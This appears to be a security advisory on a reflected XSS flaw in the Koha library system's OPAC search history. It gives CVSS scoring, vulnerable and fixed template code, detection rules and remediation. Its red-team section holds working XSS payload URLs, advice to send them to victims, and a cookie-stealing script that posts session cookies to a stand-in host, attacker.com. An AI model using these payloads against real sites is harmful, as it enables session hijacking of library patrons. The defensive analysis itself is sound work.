CVE-2025-52360

Executive Summary

CVE-2025-52360 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Koha Library Management System version 24.05. The flaw resides in the OPAC (Online Public Access Catalog) search feature. Unsanitized user input entered into the search field is reflected in the search history interface without proper encoding or validation. When a user interacts with the search history (e.g., clicks on a past search term), the injected JavaScript executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified under CWE-79 and is exploitable remotely with low complexity, requiring user interaction.

Supply Chain & Package Security

Koha is a Perl-based open-source ILS (Integrated Library System). The vulnerability exists in the core OPAC module, not in a third-party package. However, organizations using Koha should verify their deployment does not include unsanitized custom themes or plugins that could amplify the risk. No official patch has been released as of this analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited to low confidentiality and integrity, the low attack complexity and lack of privileges make it a viable vector for phishing campaigns or targeted attacks against library patrons.

Deep Dive & Mechanics

The vulnerability is triggered when a user submits a search query in the OPAC interface. The search term is stored in the browser's session storage or a cookie for the "search history" feature. When the user views their search history (typically via a dropdown or a dedicated page), the stored term is rendered into the HTML without sanitization.

Root Cause: The search_history template or JavaScript handler directly inserts the user-supplied search term into the DOM using innerHTML or similar unsafe methods, rather than using textContent or proper escaping.

Attack Flow:

1. Attacker crafts a malicious URL: https://target-opac/cgi-bin/koha/opac-search.pl?q=<script>alert(document.cookie)</script>
2. Victim clicks the link or is redirected to it.
3. The search is executed, and the malicious payload is stored in the search history.
4. Victim later opens the search history interface (e.g., by clicking a "Recent Searches" link).
5. The payload executes, exfiltrating cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Koha v24.05 - opac-search.pl or related template):

# In the search results template (e.g., opac-search.tt)
[% IF ( search_history ) %]
  <div id="search_history">
    <ul>
      [% FOREACH search IN search_history %]
        <li>[% search.query %]</li>  <!-- UNSAFE: Direct interpolation -->
      [% END %]
    </ul>
  </div>
[% END %]

Patched Code (Expected fix):

[% IF ( search_history ) %]
  <div id="search_history">
    <ul>
      [% FOREACH search IN search_history %]
        <li>[% search.query | html %]</li>  <!-- SAFE: HTML encoding filter -->
      [% END %]
    </ul>
  </div>
[% END %]

The | html filter in Template Toolkit escapes HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites: A Koha v24.05 instance with OPAC enabled.

Exploit URL:

https://target-opac/cgi-bin/koha/opac-search.pl?q=<img src=x onerror=alert(1)>

Step-by-step:

1. Send the crafted URL to a victim (e.g., via email or a shortened link).
2. The victim's browser executes the search and stores the payload.
3. When the victim views their search history (e.g., by clicking "Recent Searches"), the payload fires.
4. For session hijacking, use: q=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>

Note: No public exploit-db code is available for this CVE.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for unusual search query parameters containing <script>, <img, or onerror.
• Use WAF rules to block reflected XSS patterns in the q parameter.

Hardening:

• Apply input validation on the q parameter (allow only alphanumeric and common punctuation).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Upgrade to a patched version once available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /cgi-bin/koha/opac-search.pl with q parameter containing <script> or onerror.
  • Outbound connections to attacker-controlled domains from library workstations.
• Host IOCs:
  • Browser console errors related to CSP violations.
  • Unexpected cookies set by malicious scripts.
• Log IOCs:
  • Apache/Nginx access logs showing q=<script> patterns.
  • Koha error logs with "XSS" or "malicious input" warnings.

Detection Engineering

YARA Rule

rule CVE_2025_52360_Koha_XSS {
    meta:
        description = "Detects reflected XSS attempts against Koha OPAC search"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-52360"
    strings:
        $xss_pattern1 = /q=<script[^>]*>.*<\/script>/i
        $xss_pattern2 = /q=<img[^>]+onerror/i
        $xss_pattern3 = /q=<svg[^>]+onload/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in Koha OPAC Search
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against Koha OPAC search (CVE-2025-52360)
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'q=<script'
            - 'q=<img'
            - 'q=<svg'
            - 'q=javascript:'
    condition: selection
falsepositives:
    - Legitimate search terms containing HTML tags (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52360 - Koha OPAC Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/cgi-bin/koha/opac-search.pl"; http_uri; content:"q="; http_uri; pcre:"/q=<(script|img|svg)[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Search History: If not critical, disable the search history feature in Koha system preferences (SearchHistory).
2. WAF Rules: Deploy a Web Application Firewall rule to block q parameters containing <script>, <img, or onerror.
3. CSP Header: Add Content-Security-Policy: script-src 'self'; to the OPAC virtual host configuration.

Long-term Fix:

• Apply the official patch from Koha community once released (expected to add | html filter in templates).
• Upgrade to a patched version (e.g., v24.05.01 or later).
• Conduct a code review of all OPAC templates for similar injection points.

Workaround:

• Modify the opac-search.tt template manually to add | html filter to the search history output.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst